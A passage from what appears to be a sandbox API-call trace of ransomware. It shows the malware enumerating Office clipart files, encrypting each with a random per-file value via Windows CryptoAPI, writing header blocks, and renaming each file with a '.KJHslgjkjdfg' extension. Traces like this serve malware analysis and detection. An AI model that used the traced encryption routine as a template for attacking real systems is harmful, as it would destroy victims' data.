lpOverlapped=0x0) returned 1 [0211.375] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3000, dwBufLen=0x3000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3000) returned 1 [0211.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.376] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3000, lpOverlapped=0x0) returned 1 [0211.376] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0211.376] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x30d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.376] SetEndOfFile (hFile=0x130) returned 1 [0211.379] GetProcessHeap () returned 0x2ef0000 [0211.379] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0211.379] GetProcessHeap () returned 0x2ef0000 [0211.379] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0211.379] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf.kjhslgjkjdfg")) returned 1 [0211.381] CloseHandle (hObject=0x130) returned 1 [0211.381] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2e7e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0324704.WMF", cAlternateFileName="")) returned 1 [0211.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.382] GetProcessHeap () returned 0x2ef0000 [0211.382] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0211.382] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0211.382] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0211.382] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0211.394] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0211.394] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0211.394] GetProcessHeap () returned 0x2ef0000 [0211.394] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0211.394] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0211.394] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0211.395] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0211.395] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0211.396] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0211.396] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0211.396] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0211.396] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0211.396] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0211.396] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0211.396] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.396] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2e7e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2e7e, lpOverlapped=0x0) returned 1 [0211.428] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2e80, dwBufLen=0x2e80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2e80) returned 1 [0211.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.428] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2e80, lpOverlapped=0x0) returned 1 [0211.428] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0211.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.428] SetEndOfFile (hFile=0x130) returned 1 [0211.430] GetProcessHeap () returned 0x2ef0000 [0211.430] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0211.430] GetProcessHeap () returned 0x2ef0000 [0211.430] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0211.430] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf.kjhslgjkjdfg")) returned 1 [0211.432] CloseHandle (hObject=0x130) returned 1 [0211.432] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0337280.JPG", cAlternateFileName="")) returned 1 [0211.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.433] GetProcessHeap () returned 0x2ef0000 [0211.433] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0211.433] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0211.433] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0211.433] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0211.433] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0211.433] GetProcessHeap () returned 0x2ef0000 [0211.433] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0211.433] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0211.434] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0211.434] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0211.443] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0211.444] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0211.444] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0211.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0211.444] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0211.444] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0211.444] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0211.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.444] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3260, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3260, lpOverlapped=0x0) returned 1 [0211.476] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3260, dwBufLen=0x3260 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3260) returned 1 [0211.476] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.476] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3260, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3260, lpOverlapped=0x0) returned 1 [0211.477] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0211.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.477] SetEndOfFile (hFile=0x130) returned 1 [0211.478] GetProcessHeap () returned 0x2ef0000 [0211.478] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0211.478] GetProcessHeap () returned 0x2ef0000 [0211.478] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0211.478] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg.kjhslgjkjdfg")) returned 1 [0211.479] CloseHandle (hObject=0x130) returned 1 [0211.480] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341328.JPG", cAlternateFileName="")) returned 1 [0211.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.481] GetProcessHeap () returned 0x2ef0000 [0211.481] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0211.481] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0211.481] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0211.481] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0211.484] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0211.484] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0211.484] GetProcessHeap () returned 0x2ef0000 [0211.484] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0211.484] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0211.484] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0211.484] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0211.484] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0211.484] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0211.484] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0211.484] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0211.484] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0211.484] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0211.485] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0211.485] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.485] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x27d4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x27d4, lpOverlapped=0x0) returned 1 [0211.485] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x27e0, dwBufLen=0x27e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x27e0) returned 1 [0211.485] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.485] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x27e0, lpOverlapped=0x0) returned 1 [0211.486] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0211.486] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x28b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.486] SetEndOfFile (hFile=0x130) returned 1 [0211.488] GetProcessHeap () returned 0x2ef0000 [0211.488] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0211.488] GetProcessHeap () returned 0x2ef0000 [0211.488] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0211.488] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg.kjhslgjkjdfg")) returned 1 [0211.490] CloseHandle (hObject=0x130) returned 1 [0211.490] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2cdd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341344.JPG", cAlternateFileName="")) returned 1 [0211.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.492] GetProcessHeap () returned 0x2ef0000 [0211.492] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0211.492] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0211.492] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0211.492] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x3, lpOverlapped=0x0) returned 1 [0211.502] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0211.502] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0211.502] GetProcessHeap () returned 0x2ef0000 [0211.502] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0211.502] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0211.502] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0211.502] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0211.502] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0211.502] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0211.505] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0211.505] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0211.505] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0211.505] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0211.505] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0211.505] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.505] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2cdd, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2cdd, lpOverlapped=0x0) returned 1 [0211.528] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2ce0, dwBufLen=0x2ce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2ce0) returned 1 [0211.528] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.528] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2ce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2ce0, lpOverlapped=0x0) returned 1 [0211.529] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0211.529] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.529] SetEndOfFile (hFile=0x130) returned 1 [0211.531] GetProcessHeap () returned 0x2ef0000 [0211.531] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0211.531] GetProcessHeap () returned 0x2ef0000 [0211.531] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 